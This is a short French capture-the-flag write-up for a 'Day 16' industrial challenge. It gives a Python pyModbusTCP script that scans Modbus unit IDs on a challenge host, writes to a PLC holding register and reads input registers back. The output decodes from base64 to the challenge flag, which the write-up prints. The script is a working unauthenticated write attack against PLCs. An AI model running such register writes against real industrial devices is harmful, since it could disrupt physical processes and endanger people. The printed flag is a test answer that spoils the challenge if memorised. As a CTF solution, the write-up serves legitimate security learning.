✅ Day 16 - Coil under the tree
- INDUSTRIAL
- Date de résolution : 16/12/2024
Reconnaissance
Challenge qui nous plonge dans le monde industriel avec une bonne touche de réalisme.
L'objectif est de prendre la main sur un device PLC = automate programmable !
J'ai choisi la bibliothèque python pyModbusTCP-0.3.0
Les consignes sont :
##Exploit Voici mon script Python:
1import sys
2import time
3sys.path.insert(1, './pyModbusTCP-0.3.0/')
4from pyModbusTCP.client import ModbusClient
5
6for unit_id in range(255):
7 c = ModbusClient(host="163.172.68.42", port=10016, unit_id=unit_id, auto_open=True)
8 ident = c.read_device_identification()
9 if ident:
10 print(f"{unit_id = } {ident = }")
11
12 c.write_multiple_registers(0x10, [0xff])
13 reg = c.read_holding_registers(16,1)
14 print(f"{id = } {reg = }")
15
16 time.sleep(3)
17
18 inputs = c.read_input_registers(0,125)
19 print(f"{id = }/{inputs = }")
20 for char in inputs:
21 print(chr(char), end='')
On obtient cette chaine de caractère : Q29uZ3JhdHVsYXRpb25zLCB5b3UgY2FuIHZhbGlkYXRlIHRoaXMgY2hhbGxlbmdlIHdpdGg6IFsnUk17MTNhZDFiYzJlMjViNjJ9XG4nXQ==
On decode le base 64 et FLAG !
FLAG
The flag is : RM{13ad1bc2e25b62}